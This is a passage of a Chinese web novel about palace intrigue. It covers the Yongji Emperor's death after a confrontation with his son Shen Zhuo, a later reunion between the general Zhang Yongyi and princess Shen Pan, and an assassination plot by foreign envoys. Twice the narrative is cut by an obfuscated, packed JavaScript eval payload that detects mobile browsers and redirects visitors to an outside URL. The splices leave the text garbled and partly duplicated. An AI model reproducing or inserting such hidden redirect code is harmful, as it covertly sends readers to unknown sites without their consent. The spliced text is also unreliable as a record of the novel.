“礴儿!吾儿!” 没有回应。 大喜大悲,对这个年纪的永济帝绝对是致命的打击。 沈斫又站了会儿,等起疑的永济帝开始喊罗正谦,他这才从屏风后走出。 听得有脚步声,永济帝还按捺不住心情探出身,柔声细语地问:“是礴儿吗!” 沈斫从不知道,原来威严一如永济帝,居然也能是一个慈父。 原来他们父子相处,是这种光景。 他走至近前,脚步放得格外轻,仿佛这样的梦就不会碎。 可是永济帝勃然变色,“怎么是你!” 待看见他手中的剑,还留了一滴没有擦净的血,永济帝的脸色又阴沉起来,像是山雨来前的天,“你怎么在这!” 然后永济帝反应过来,“沈礴呢!” 沈斫看向半掩的窗。 窗外的火光,直让人想起残破的长生殿。 永济帝呼吸一窒,律林扑上去扶住他摇摇欲坠的身体,“陛下!陛下您千万不要有事啊!” 他戟手指着沈斫,眼泪成了断线的帘珠,“你把他怎么样了?你杀了他?江之万!罗正谦!来人!给我杀了这个叛臣贼子!” 沈斫第一次见永济帝这副歇斯底里的样子。 他只是冷眼看着,看着他摔下床来,狰狞地要掐死自己,眼睛里既是对自己的恨、也有对幼子的怜爱。 他只是这样看着,他的泪水,便也不禁模糊了视线。 他曾经无数次地幻想过,能有一段只属于他和父亲的时间,那该多好。他准备了很多问题,问他为什么讨厌自己,为什么这么喜欢沈礴……不不不,这种肤浅的问题怎配浪费他君父的时间?他该问当年南巡时的见闻,问后来逆王宫变的过程,问他历经磨练十几载的辛苦,问他将来对四境蛮夷的归化…… 他有好多想问。 要问他为什么要杀元良!问他为什么要废太子!问他为什么要杀自己的亲儿女!问他为什么连失恃失怙、走投无路的孙子孙女都!不!放!过! 问他是不是只要自己死了就能一笔勾销前程旧怨。 他问不完,根本问不完! 他这一辈子也就在这些问题里了,这些问题就是他的一辈子! 可是现在,他终于拥有了这个机会,乃至于不需拘于君臣父子、忠奸善恶、黑白对错,而直白地问出自己的心的机会。 他的真心啊! 剖开来都没有人看的真心! 父亲!究竟是为什么啊! 为什么要这么对他! 为什么! 永济帝也在问他为什么,为什么要杀了沈礴,杀了你那么纯善的弟弟,有什么仇冲他来不要伤害他的爱子。 可是陛下,我是您的儿子,父亲和儿子能有什么仇呢? 沈斫吐出一口气,强行稳住声音问道:“我听说那件裘衣,是你收到的最合心意的礼物……” 律林都愣住了。 “这是真的吗,父亲?” 是这样吗父亲,那一刻或许你把我当成了儿子,像一个父亲爱孩子一样想给予他第一次赞美但又羞于出口。 父亲,是的把,你也曾爱过我,对吧父亲,对吧,一定是这样的…… 永济帝只是一个劲地质问:“礴儿是不是没死!你是不是在骗我!” 是的吧,父亲。 “你说话!你怎么忍心杀了他!你怎么能下得去手!” 沈斫闭上眼,再吐出一口气。 “你恨我,所以你要杀了他报复我!哈哈哈哈哈,没想到啊,江之万我料到了,朱甡我料到了,所有人我都料到了,独独没想到你有这么歹毒的心肠!” “不妨告诉你吧,现在沈仪璩和你的好姐姐沈磐都死了!尸体都凉了!朱甡的准头最好,他补上的箭从来没有落空过!” 沈斫睁眼,看着永济帝以肉眼可见的速度老去,老去,老去!老去干枯浓缩化成世上最恶毒的诅咒:“哈哈哈,你这个孽障居然还会伤心?你究竟在为谁伤心?沈仪璩吗?还是沈磐?你和沈磐从小亲近,就像那首歌里唱的,南山崔崔,雄狐绥绥——” “住口!” “哈哈哈哈哈!你难道从未有过这种心思吗!你敢指天发誓你对沈磐从未有过不伦之念吗!” 沈斫抛下剑,扼住永济帝的咽喉,“你是禽兽,所以天下人都是禽兽吗!” 律林无法撼动沈斫,喊起了“救驾”,永济帝的脸已经涨红,暴突的眼珠子黏在他身上,似真要剖开他的心一探究竟。 沈斫松手。 他双手的经脉早被江之万的刀震断,再这么用力下去,永济帝会被他掐死,他的手也彻底废了。 永济帝咳嗽连连,像是要将五脏都从口中呕出来,甫一回复平静,他便疯魔地大喊:“杀了我啊!你敢弑父杀君!天下人都要讨伐你!” 他的眼里全是鱼死网破的疯狂:“你杀了我也没用!传位的诏书我早让方继昌带回了京!你杀了我,杀了所有人,你也名不正言不顺!方继昌就算扶持无用的宗室,也不会支持暴虐无道的你!你就等着死吧!到地底下去见你的磐磐!” 他们都看见沈斫的目光投向了地上的剑。 他真的动了杀意。 兖王即刻从屏风后跳了出来,“哥!不要!” “吾儿!” “兖王殿下!” 兖王抱住满身是血的沈斫,“哥,别,不值当,不要冲动……” 永济帝已因兖王的态度变成一块废石,再见他朝自己一跪,响亮地磕上三个响头,便立时化成了灰。 “父皇,我从小就是您亲手抚养的,您教得很好,让我明是非、辨善恶、识好歹、知良莠……” 他从小最怕疼。律林抓住了剑,将剑扔出好远,就怕兖王一个不察见了血。 可是兖王望着那把剑叹气,“所以父皇——” 永济帝以为他要自杀,便死死抓住他的胳膊,“礴儿,你在说什么,你就是个很好的孩子,你就是老天爷给我的恩赐!你不要做糊涂事……” 兖王只是哀楚地看向他的父亲。 沈斫蹲下身,翻出霍辄的那枚私印,冷冷地替兖王说完:“所以我恨你。” 永济帝喉咙里咕噜咕噜地响,弹指之间,两眼一翻,昏厥过去。 ** 沈碧闯上文正殿时,相对而站的方继昌与卿澈一起抬头。 有张永一在,谁也没法碰到沈碧一根头发,羽林卫即刻要去通知守夜的指挥使,却被卿澈一个抬掌制止。 “二位在犹豫什么。” 张永一看向方继昌手中的那卷圣旨,沈碧看向方继昌。 卿澈问:“张将军,行宫里怎么样了?出什么事了?” 张永一才说了两句,不过简略说过了永济帝的旨意,卿澈的脸色便比裹尸布还要难看。 再多的也不需再听,方继昌只是欻地打开圣旨,“请晋国公主和张将军做个证鉴。” 粗粗一扫圣旨的内容,张永一便骇然抬头。 沈碧不多看,只瞥了一眼,便目不转睛地盯住方继昌的每一个细微的表情。 “今天下午陛下召见,要给臣的孙女与兖王殿下赐婚,这便是陛下预先拟好的圣旨。” 沈碧一掀开唇角,语气薄凉:“皇子娶首辅的孙女,确与这份圣旨别无二致。” 卿澈听出了关节,急迫地看向方继昌,方继昌还面不改色,只是拎着圣旨走到了重新点起的火盆前,“请公主看好了。” 张永一心一提,沈碧的眼神还是人定时分逐渐浓稠的春寒。 方继昌看着火舌舔舐着圣旨,纸与绢一点点烧成灰,最终一松手,听着火盆里不知是火还是绢呜咽一声,任凭烈火吃尽了这奄奄父子情。 “首辅大人,我看得仔细。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186386|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 方继昌捏了个礼。 卿澈大舒一口气,但见沈碧的脸色依然古怪,顿时回想起方才沈碧的那番“别无二致”的话,连忙扯扯方继昌的袖子,“方大人!” 方继昌一直等到火盆中的火都快要灭了,这才一字一句清清楚楚朝沈碧道:“公主,老臣在陛下跟前立了誓,要辅佐兖王,要将孙女嫁给他。” “方大人!”卿澈赶在沈碧变脸色之前压低声音又劝又骂:“这是什么糊涂话!圣旨都没了,那就压根没有赐婚这回事!你做什么要把全家的命都搭上!” 沈碧轻笑:“好,若今夜之后兖王仍在,你便辅佐他,要么在化隆,要么在兖地。” 卿澈听得明白,终于放下心来,张永一的心却再度提起。 要么在化隆,要么在兖地。 要么兖王生,要么兖王死。 方继昌朝沈碧一拜。 不。 张永一回神,终于明白了沈碧话中的深意。 兖王不会死,不论是此计还是彼计,不论是此时还是彼时。 但燕王会。 沈碧侧身:“长平说,接下来的一切都要全权托付给卿尚书,还请尚书赶快前往曲江行宫主持局面。” 卿澈看向方继昌。 这无疑,又是对永济帝的残忍。 让他眼见着曾经奉他若神明、在心里发愿千遍要誓死追随的人,一个个地离他而去。 沈碧看向方继昌,“首辅大人也去吧,这种时候没有你,天下人不会信服。” 张永一抬头就看见了,这大写的“残忍”。 ** 永济帝是被掐醒的。 东配殿还在烧。 他一睁开眼就看沈碧坐在床边。 “碧儿……” 他气若游丝的一声叫,沈碧听见了,但她更关注屏风外,齐天觉等人的说话声。 齐天觉只认永济帝,若说他还钦佩谁,那只能是霍辄。现在霍辄不在,永济帝躺在床上进气少于出气,皇太孙又被朱甡一箭击杀,好端端两个亲王站在眼前,局势已经明了,但又听律林说永济帝写过一封传位诏书。 局势又复杂起来。 这就必然需要方继昌亲自向他解释——世上从来没有这样的一封圣旨。 永济帝耳朵没聋,当然听得见方继昌在说什么,但他的愤怒已经难以用语言表达,只能攥着拳,不肯瞑目。 他也知道,沈斫才是亲弟弟,所以求沈碧是没用的,况且他们父女两个,细说起来还有杀夫杀亲之仇,她不拿着枕头捂死自己,就已经是她顾念多少年父女一场、她又是他最宠爱的女儿。 沈碧看着他,有点认不出这个马上就要吹灯拔蜡的老人,居然是那个纵横天下几十年风光无限的永济帝。 永济。 真是个好年号。 可古往今来哪个帝王的年号不是极尽美好? 多好的字眼,平白糟践。 真到这一刻,沈碧也不知道该说什么,她也没什么好说的,但沈磐应该有,可惜她来不及。她常说,君子以德报德、以直报怨,可她是小人。 心思一定,沈碧便开口问:“父皇还记得母后的名讳吗?” 永济帝眼珠子一转。 沈碧自问自答:“叫季娴。” “是哪个‘娴’呢?” “娴静的‘娴’?” “贤惠的‘贤’?” “还是鹇鸟的‘娴’?” 沈碧的眼睛炯炯有神,此刻灯光下、火光中,像极了那个立志揽尽天下好、披得盛春万端红的沈磐。 “耗死了柳曦既,累死了周舫、梅寻春,现在所有的果实都落在了你的箩筐,可为什么你还不肯放过,连那些枯藤老枝都要连根拔起?” 濒死之人才最能察觉出这种变化。 此时眼前这个,当真不只是沈磐,也不止是沈碧,是屏风外的方继昌,是还在家中刻意闭目塞听的霍辄,是作古多年的故人,是新仇,是旧恨。 “你知道方继昌为何被关武英殿?因为他不死心。” 沈碧看着他眼角的那滴泪,“现在他心死了。” 沈碧背着他站起,“得道多助,失道寡助。陛下,你终于可以去见魂牵梦萦的人了。” 身后一声呜咽,像是被捂住的一声婴儿啼哭,随着一个人的永诀,逐渐湮灭。 69. 第六十九章 短歌行(一) 这是启新三年的冬月。 今天的太阳格外好。 齐妙延怀着她和沈斫的第二个孩子,太医把过脉,算算日子,她估计要在元月临盆,母子二人十分康健,再有两日又是小太子的生辰,沈斫很高兴,饭都多吃了一碗。 当然,还有一件高兴事。 沈斫听见靖远门外、那白茫茫一片雪中传来接连几声马嘶,知道自东北昼夜兼程的故人到了,连忙下马,雀跃地涉雪朝官道上走。 他挥着手臂朝他们喊,身边的蒲成骧拦不住,只能跑着追上他。 “永一!” 在看见沈斫前,张永一就在马上听见了这熟悉的声音,他想回应,却不知该如何称呼他。沈斫不喜欢他叫自己“陛下”,直呼其名又不合礼数,彼时他让自己叫他“时晴”,然则时过境迁,三年一晃而过—— 快马行至近前,张永一这才看清沈斫的脸。 他脸上的高兴一如当年回京初见沈磐脸上的高兴。 他下马,沈斫一把扫去他肩头的雪,“怎么不回复我?我还以为叫错人了呢。” 张永一笑,沈斫抢先道:“是不知该如何叫我?我不是说了吗,我叫你‘永一’,你唤我‘时晴’。” 张永一认真地点头,“时晴。” 沈斫欢笑:“这就对了嘛!” 他单手抱住张永一,在他背上拍了拍,“回来就好!伤得怎么样?” “不重,没什么事。” 沈斫细细打量他,略微放心,这才看向他身后骑马追来的几人,其中被兵士簇拥的五个长桫人高鼻深目,眼眶里滴溜的目光也颇为考究戒备。 蒲成骧上前,用长桫话问道:“您是多罗王子吧?” 最中间那个年轻秀气的少年点头,有些惊讶:“您会说长桫语?” 多罗王子身边一个卷头发、鹰钩鼻的随从用地道的汉话说道:“这就是蒲成骧将军。” 多罗更加惊讶,蒲成骧朝他们回报一个亲切的微笑,知道他们听得懂汉话,但还是用他们的家乡话说起正事:“我奉陛下的命令迎接诸位贵客前往鸿胪寺落脚,诸位请。” 多罗腼腆地笑,颤巍巍的目光还是投向了张永一那边,触及张永一身边那个陌生男子,连忙害怕地收回视线。 蒲成骧笑道:“傍晚的宫宴上还会遇见的,王子请放心。” 沈斫见这多罗小王子对张永一居然这般依赖,不禁笑问:“你的长桫语学得怎么样了?” “若从前是‘还好’,那现在要比陛下好了。” 这么顺嘴地说出“陛下”,张永一刚警醒,却见沈斫不介意,还勾肩搭背地跟他往城门里走。三年过去,沈斫的身量已与他不相上下,且观他举止得见其心,已非从前那么晦暗苦涩,与今日头顶的太阳争锋也不落下风。 张永一很高兴。 沈斫笑也高兴:“哈哈,是啊,用进废退,是这个理。” 目送蒲成骧带着长桫使团先行入城,沈斫感慨万分:“仗可算打完了……幸好不是和亲,永一,谢谢你。” 张永一道:“不要谢我。” 闻言,沈斫朗朗笑道:“要谢东北的将士,守住了边塞,守住了家。” “还要谢百姓。” 沈斫笑起来:“对!还要谢我大楚的百姓!托起了这个家。” 日光越盛,张永一的脸越发白,不是三年前奄奄一息的沈磐脸上那有些疲惫病弱、不健康的苍白,而是照彻水中玉的白,沈斫看得晃眼,看得心府都被填满,“永一,我还是要谢你。” “三年,百姓在熬、将士在熬,朝廷在熬……” 但总有人熬不住、想要低头。当然低头不是认输,至少那些提议就此答应长桫的要求,答应和亲的人不是这么想的。四境蛮夷每年骚扰边疆,所求不过粮食茶叶丝绸盐巴,还有女人,他们不是没有女人,但像大楚送给义律的两位公主,这种代表着尊贵和尊严的女人他们没有。 义律有过,他们如何不能有?现在义律在走下坡路,他们如繁星冉冉升起的长桫怎么不能有?眼下新旧两朝堪堪更迭,永济前朝更发生了不少动乱,现在只需要大楚皇帝低个头,多多赔上些财帛物资,再奉上大楚的公主、认下这番郎舅关系,东北自然平息暂无战事。 当然也不必一定要是大楚皇帝的亲姐姐,随便寻一个漂亮的宫女安上公主的名头,他们也认。但沈磐是沈斫的亲人,随便一个宫女难道就不是别人的亲人?眼下胜利在望,虽不知还要熬多久。 且永济年间,永济帝曾放言此后大楚万代,永不出和亲公主。这句话,沈斫记在心里的,永远不会忘。 沈斫不答应。 便连内阁都快要松口了,东北终于传来宁海将军及宁远边城全军将士的回绝。 “幸亏我们熬住了,而你又打了胜仗。” 不然沈斫也不敢去想,若这番坚持最后换来的是东北的溃败,张永一和宁远的将士要面临什么,沈磐要面临什么,大楚又要面临什么。 沈斫是庆幸的,万幸他们赢了。 想起战时三年往事,张永一一下子就想到启新二年,梁国长公主才去世不过数月,不少人想用丧事把他从东北换下,朝中吵嚷不断、骂声连连。然后他就接到堂兄张绰的来信,其中提到祖母临终遗言,只希望他能坚持下去,更不要忘保全自己。 “还是要谢社稷庙堂,一无天灾、二鲜人祸,国内太平。” 所以大楚才能熬下去。 沈斫笑:“说得对,说得好!” 他仰头看着日光照在靖远门上,“永一你知道吗,这是我活到现在最开心的时候。” 他希望日子能越过越好,又希望一生就停留在此刻。 “时晴,接下来的日子会更好,也会更开心的。” 沈斫飒然大笑:“嗯,你说得很对!趁着我很高兴,准许你先去看磐磐,你们三年多没见,你应该很想她吧?” 张永一垂首,听见他说起沈磐,眼前立时出现那夜她和自己在曲江行宫互祝平安时的眼神。自从她中了毒箭、昏迷不醒,长桫又乘虚而入,他已经三年没再亲眼看见她的眼睛。 为防和亲变故,又有三年重孝,明面上她和云勉的婚事依然作数,但云勉去了西南,眼下他们碰不上,便也可不提这种尴尬。 且再见沈磐,张永一只想见她康健,再无旁的心思。 她裹着裘衣,躺在廊下,晒着太阳。 脸上盖着折过的信纸,庭下无风,她睡得正熟。 团圆看见张永一来了,惊喜地说不出话,或者说,张永一比了个手势让她不要打扰沈磐。 张永一静静坐到廊下的地板上看她。 沈磐应该睡得又不是很熟,听见有脚步声,以为是团圆走了又回,便懒懒地出声询问:“怎么了?是宫里来人了还是张永一回来了?” 一息。 两息。 三息。 没有得到团圆的回应,沈磐奇怪地哼了一声,松懒地掀开脸上的那页纸从躺椅上探起身左右张望。 “奇怪,这丫头跑哪去了……” 沈磐叠着信纸又躺了回去,随即余光瞥见,躺椅旁的地板上像是坐了个人! 沈磐惊恐地从椅子里跳起,然后就看见张永一坐在那里,眼睛一瞬不瞬地盯着自己。 她愣了好久。 “你回来了。” 好像不是很高兴。 张永一心里慌了,连忙起身要解释,沈磐便捡起盖在身上、又滑到地上的毯子,“回来就好。” 她的语气和神色都很淡,好像真的不是很高兴,但若真说她不高兴,她又一边打量一边走到自己身前,嘴上根本停不下来:“你不该先去宫里吗,怎么来我这儿了,若是有人要参,一参一个准,你这个得胜而来的张将军面子上不好看,名声也不好听……” 她绕着他转了两圈,“你好像瘦了,还黑了,应该又添了很多伤吧,看来义然没把你照顾好……” “陛下让我来的。” 沈磐停在他身后,“你不想来吗?” 张永一转身,下意识地伸手想抱她,手却悬在了两人之间,声音还是不免哽咽:“想,但不敢。” 沈磐看得见他眼中的渴望与忧虑。 “你是等着宫宴时见我,那若我不去宫宴呢?” “夜半翻墙……” 沈磐低头笑了一声,忽然抬起脸说:“把 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她又扬起手中的那封信,“这是沈碧寄来的,襄阳侯府全家两年前就搬去了苏州,她偶尔会写几封信来。这次她说,今年三月除了丧她就在为郇萦筹备婚事,哦,忘说了,郇萦看上了一个男的,男方一无功名、二无财帛、家徒四壁、父母双亡,就差四大皆空、遁入空门了。只是去年寒冬腊月,郇萦在家门口的河滩里捡到了他,觉得他长得入眼,就出手救了……才认识了不过一年,男方还要入赘,襄阳侯夫妇头疼不已,今年就不回京了……” 沈磐背着手,说得颇有兴致:“也不知道这男的长成了什么样,能让郇萦看上。这些年唯一长得能入她眼的,估计只有嵇阑吧?可惜了,那天晚上忠义侯府起了场大火,嵇阀和解佳胤主仆相杀,还拖累了嵇阑葬身火海。” 但其实。 “那天晚上起火后,他来看过我,后来还去会了老友李闻达,他更早就派了心腹去行宫里救沈斫。或许,这就是他能成功圆谎的原因所在吧。心不再为形役,他现在应该特别自由。” “再有霍辄自戕,方继昌自请为兖王国相,冉琢明回朝,卿澈南下,梅依径病故,今年出了孝,兖王与方继昌的孙女完婚,这些事你都知道的,全写在沈斫的信里。” 她平时话不多,至少三年前是那样的,可今日乍然说了这么多,再有她对自己的态度多有疏远,张永一总觉得不对,总觉得有他不知道的事情发生,而沈磐从不和他讲。 他有些怕,满怀思念地回到化隆时,只得到她一个要离开的背影。 就像眼前一样。 张永一两步上前,抱住了沈磐。 沈磐浑身一僵。 “公主知道陛下是什么意思。” 今时不同往日,张永一也远非曾经能常常出入公主府的长缨卫,而携功带名重回化隆,沈斫不召他入宫叙旧,反倒叫他光明正大地来公主府,若非属意他做自己的驸马,沈斫还能编出什么理由? 他是自己过上了好日子,所以更希望天下有情人皆成眷属。 张永一的呼吸喷在她的发间,沈磐在心里不能忍受这样的距离,可身体告诉她,她不想甩开张永一这个阔别三年的拥抱。 三年啊。 一眨眼就是三年。 沈磐深吸一口气,“你知道我是什么意思。” 张永一抱得更紧:“有了云勉,公主就不再需要臣。” “你知道不是因为这个。” “那是因为什么?” 张永一自问自答:“因为三年消磨了感情,磐磐不再喜欢我。” 沈磐不说话。 是这样么? “如果是这样……” 张永一松开手,后退一步,“那我会走的。” 沈磐觉得后背有些冷。 太阳照不到的地方,就是这么阴冷。 沈磐偏过脸,知道张永一还没走。 这时候,只需要她说一个“不”,又或者转过身看向他,或者喊住他的名字,她就可以重新拥有他。 但沈磐觉得,就这么结束也好,他现在炙手可热,好的东西、好的人全都排队似的等在后头,旧的不去新的不来,就这么结束也好。 沈磐已经确定了心意,只需要抬步继续往前走。 张永一就被她留在身后。 70. 第七十章 短歌行(二) 可是张永一又喊了她一声,“磐磐。” 她就像被蛊惑了,再迈不开腿。 张永一的声音有些沙哑:“再爱我一次好吗?” 所以。 她爱过他吗? 她好像爱过很多人,又好像谁也没爱过,她的父皇母后,她的哥哥姐姐,她的沈斫,他的仪明、璩儿和玥儿,往事如烟似沙,一阵风就能带走所有的故人故情。现在她心里空落落的,是被一刀刀挖空的,岁月不仅挖空了她的心,还偷走了她的勇气。 她曾能与君父叫板,和刀枪置气,如今却不敢再看张永一。 她甚至还想,张永一怎么还不变心呢?或许时间不够久。 那就再等等。 一等再等,等到今天。 “等到来年,我为你射一盏灯。” 沈磐深吸一口气。 现在是冬月,来年,很快就到了。 太快了。 沈磐微一垂下头,张永一就当她答应了,便又抱住了她,不管不顾地去亲她的脸,亲得她情迷意乱,身体里的堕落、糜烂、暴戾、霸道乃至欲望都在高涨,眼泪都在不知不觉里落了下来。 沈磐答应了。 张永一说不出是喜是悲,只尝到她的眼泪,与那时自己带着太子的灵柩回京、在化隆城里不知哪条大街小巷里找到她时一样的苦涩。 她又有不能告诉他的心结。 三年前她说自己已经登堂入室,为何三年后他仍不能分担她的苦忧? 沈磐又哭了,不知为谁而哭,为了死去的人,为了活着的人,或许还为了他们两个人。 再向前半步,就要彻底滑入失控的深渊。最挣扎时,从来都不会在这种时候乘虚窥探的张永一却忍不住问:“是因为皇太孙吗……” 他听说过,朱甡等着山道上的混乱慢慢平息、等所有人放下戒备,然后一箭射中了沈磐,一箭射杀了皇太孙。 张永一轻吻着她左胸临近肩膀处的那道疤。 那时沈磐还清醒着,箭头上的毒还没来得及发作,她还远没有死。但皇太孙的喉咙被箭贯穿,上一秒还在血管中温热流动的血液,下一秒就像炸开的火炮般飞溅四散。 到处都是,手上是,衣服上是,头发上是,脸上是,眼睛里也是。 后来张永一见到了正在被救治的沈磐,还以为她伤到了眼睛。 张永一亲眼见过很多鲜血,沈磐却见过很多亲人的鲜血。 然后,那次她连世界都见不到了,眼里全是血!血!血! 沈磐别过了脸。 张永一听着她喉咙里的痛苦,突然,他肩膀上一痛,并随着他越发沉重的动作和沈磐越发短促的呼吸逐渐加深。 他猜对了。 三年,她独自疗愈这样的痛苦。 这就很怪了,这诸番接踵的丧亲之痛,让曾经将整个世界仅困于演花殿咫尺的沈斫变成了今天的太阳,却让曾经那坚毅得比南山之竹还坚不可摧、韧不可折的沈磐躲进了阴影里。 三年,她都没法与痛苦和解。 张永一咬牙,托着她的后颈,“不是你的错。” 可如果是呢。 就是因为她的自以为是呢。 她不是自诩聪慧么,怎么事到临头就不能想得再快些、再全面些、再准确些……她为什么会想错呢……她为什么要开窗,她为什么要犯错呢! 沈仪璩才七岁啊! 她看着他出生,看着他长大,又看着他死。 沈磐终于受不住,松了牙口,脱力地倒在冰冷的地板上哭了出来。 张永一捧着她的脑袋,手掌里也蓄满她的眼泪。 她睁着眼,眼神还迷离着,却在看自己肩上那个渗血的印子。 他低下头,亲亲她哭红的眼睛,“神仙都没法万无一失……” 可沈磐喘一口气,“可我累了……不想再原谅自己了,也不用了。” 这一刻,张永一只想到四个字——心如死灰。 ** 离开宴还有半个时辰,张永一收拾完自己便跟着内监走到了演花殿。 沈斫早等在了里面,坐在板凳上看着窗外的梅枝影。 “永一你来了?快坐。” “这马上要开宴了,陛下怎么……” 沈斫笑叹:“正因为快开宴了,所以要早点找个清静的地方想想事情。” “那臣便打扰陛下了。” 沈斫笑向他:“怎会,就是你的事情。” 张永一便料到了会是什么事情,但沈斫开口,先问了别的事:“若能留,你会愿意留下来的吧?” “嗯。” 演花殿里没有烧炭盆,有些冷,沈斫搓了搓手,“好,只是可能还需要你在东北守上一年,长桫虽然派王子入贡为质,但总有很多说不准的意外,有你在那儿,他们不敢轻举妄动。” “好。” 随即,沈斫笑了起来:“正好,现在朝中还没有适合你的位子,多守上一年,大概就能有了。那时候又正好,云勉从西南回来,让他来退婚,再给他提拔……” 张永一说不出心里滋味。 沈斫注意到他的情绪变化。其实沈斫根本看不出他的端倪,他只是凭借着自己对他、对沈磐的了解,片面地猜他可能不太舒服。 “磐磐喜欢你,所以我也只是想,让你们能更顺利地在一起。” 长平长公主是如今大楚皇帝陛下最亲近的姐姐,她的驸马都尉当然也要足够显赫,这才能与之般配。除了身份之外,张永一没有一处是沈斫不满意的,得他作姐夫,他特别高兴。 “磐磐也答应的。” 张永一愣住。 沈磐答应? 说起这个,沈斫也不免沉郁,“自从她的身体好转以后,她就一直闷闷不乐,又为你日日担心,妙延本想让她呆在宫里,也好照拂,但她不愿,又说要么跟着大姐一家去南边散散心,她也不去……” 他拉着张永一,“现在你回来了,她不愿意和我们说的话,想来会说给你听,有你陪着她,她应该会好起来的。” 张永一觉得这些话很熟悉。 那年,太子也是这么说的,希望他能和燕王沈斫多多来往,多听他诉些憋在心里的话。那时就在这演花殿,他曾那么丧气落寞、不愿被旁人抚摸,而沈磐在门外听,因为沈斫的自弃敏感而泪流满面;而今,换成了他希望他去抚平沈磐的伤疤。 是,沈磐会愿意和他多说几句。 但仅此而已。 披衣而去前,甚至不会和他多说一句话。 她好像一瞬间就变成了这窗上的梅枝影,难以捉摸,风来雪来便模模糊糊不成形状。 “永一,你会一辈子爱她吧?” 张永一坚定地应下:“会,直到死。” 沈斫脸上的忧虑淡了些,笑出了几分对将来的憧憬,“不会死,都不会死的,都会长命百岁,白头偕老……到时候你们没有孩子,张家一定会给你过继一个,磐磐她很喜欢小孩子的,不论是不是她的孩子,从前她对仪明……” 沈斫又有些沉默。 但他不能让张永一的心情落地,便玩笑道:“到时候哪天,你惹她生气了,就抱着孩子去认错,她一定不会冷落你太久的。就像我和妙延,她生气了,我就抱着含章去向她认错,看在含章的面子上,她总会原谅我的……” 见沈斫说起齐妙延,笑出了几分痴愣傻子的幸福,张永一突然意识到,沈斫真的不一样了,和从前东北雪夜里对着满山坡的黄沙积雪唱渺远情歌的那个自卑又自弃的燕王完全不一样了,他也好像突然明白了沈磐。 她不想原谅自己,最关键的还是,她不用原谅自己了。 她不用原谅自己后再度坚强,再去给她的挚爱撑起一片天。 他们已经长成可以为她遮风避雨的大树。 她不需要再坚强了。 她可以生气了发脾气、有性子耍性子,变成少女时代被兄长爱护、所有人呵护的长平小公主,一直无忧无虑地玩闹下去。 可她变不成了,她越变不成,越觉得自己面目可憎,越觉得自己怎么能活下去,怎么能不为自己的错误陪葬还能享受这些伦情。 那般天真无邪的日子一去不复返,还留下了这样的沈磐。 可是磐磐,你为何要把我推开? “走吧,我们去宫前殿,妙延应该早就带着含章等在那里了。” 张永一起身。 傍晚天上飘了点雪,沈斫想起一事:“我记起妙延说的,说她第一次见到我,其实是在靖远门,我们一起回来那次。她说那天她和闺中密友一起从郊外赏梅回来,下起大雪,路很难走,各种耽搁之后,便撞见了我们。” 张永一稍一回想,便想到那天的沈磐,是天地间盛开的一朵牡丹花。 “这便是缘分吧。” 沈斫笑:“嗯。那你和磐磐的缘分从什么时候开始呢?” 她开在天地间,也开在他心上。 张永一想。 他不知道,或许是从认识燕王沈斫开始。 “或许,是我认识你的那一天。” “哈,这样啊,我居然真是你们的牵线红娘。” 张永一笑笑。 缘起很重要,但最重要的是,他想将这段缘分延长至一辈子,他想一辈子陪沈磐。 错过的三年里,他连一封信都不敢给她写,只反反复复地读沈斫的信,读那寥寥的几句里,她平安,她平安,有他在东北所以她平安。 那时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195352|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在战场上,他只希望她平安,再没旁的索求。 现在回到化隆,他又开始贪心不足。 “永一,你与长桫的多罗王子有什么交情吗?他被父兄送来大楚,估计其中也有不少波折,独在异乡,又是一眼望得到底的性格。现在刚来化隆,对谁都很戒备,我希望你多多与他谈心……” “他是弃子。” 沈斫:“看来长桫非要把他送来,是别有所图。” 张永一眸光黯淡:“有一回他们的调虎离山里,就用他假扮他的哥哥所罗王子,引诱我们的主力。” “他被捉住了?” “嗯,他还要自杀,说是他父亲要求的,让他不能辱没王庭,不然他的母亲和还在襁褓中的妹妹就要替他去死。” 沈斫沉默。 “就在那时,我认识了他和他身边那个侍卫克西,就是今天会说汉话与蒲将军对话的那个侍卫,这才知道长桫王一共十三个儿子,十三个儿子里,他是最不受待见的。所以长桫王会这么爽快地把他舍出来当质子,而一共四个护卫,三个都是王庭的眼线。” “他母亲和妹妹呢。” “那时我放走了他们,对外只说是他们逃走的——陛下,是臣欺骗了你。” 沈斫摆摆手,“这种事没什么,要是我,我也会这么做。如今你和他们之间别有一种信任,更是件好事,如果长桫真有什么阴谋,我们或许还能得到一点帮助。” “但愿吧。” 前方有巡逻的羽林卫,沈斫与张永一稍微拉开些距离,显得他们两个只是更亲近一些的君臣而无其他,但是自这一对羽林卫后匆匆跑来一人,定睛一看,是个长缨卫。 张永一顿觉不安,沈斫倒还镇定,刚要问,就听那长缨卫大喊:“长桫使者刺伤了兖王殿下,皇后娘娘受到惊吓突然发动!” ** “克西,不可以!绝对不可以!张将军对我们有恩……” 克西一字一句道:“正因为他对我们有恩,所以我们只有这么做!” “一定要这样吗,万一失手了呢!” 克西按住惶惶不安的多罗,“失手,我们就陪他们一起死,若是成功,便算报恩了,反正王庭不在乎我们的死活,反正都是一个死……” 多罗的嘴唇都白了。 这里是重华殿小花园,听说齐皇后带着小太子在这里嬉戏,另三个王庭派来监视他们并执行任务的侍卫早已经到了,就等听得懂汉话的克西指明皇帝所在的方向。 不错,他们是来刺杀大楚皇帝的。 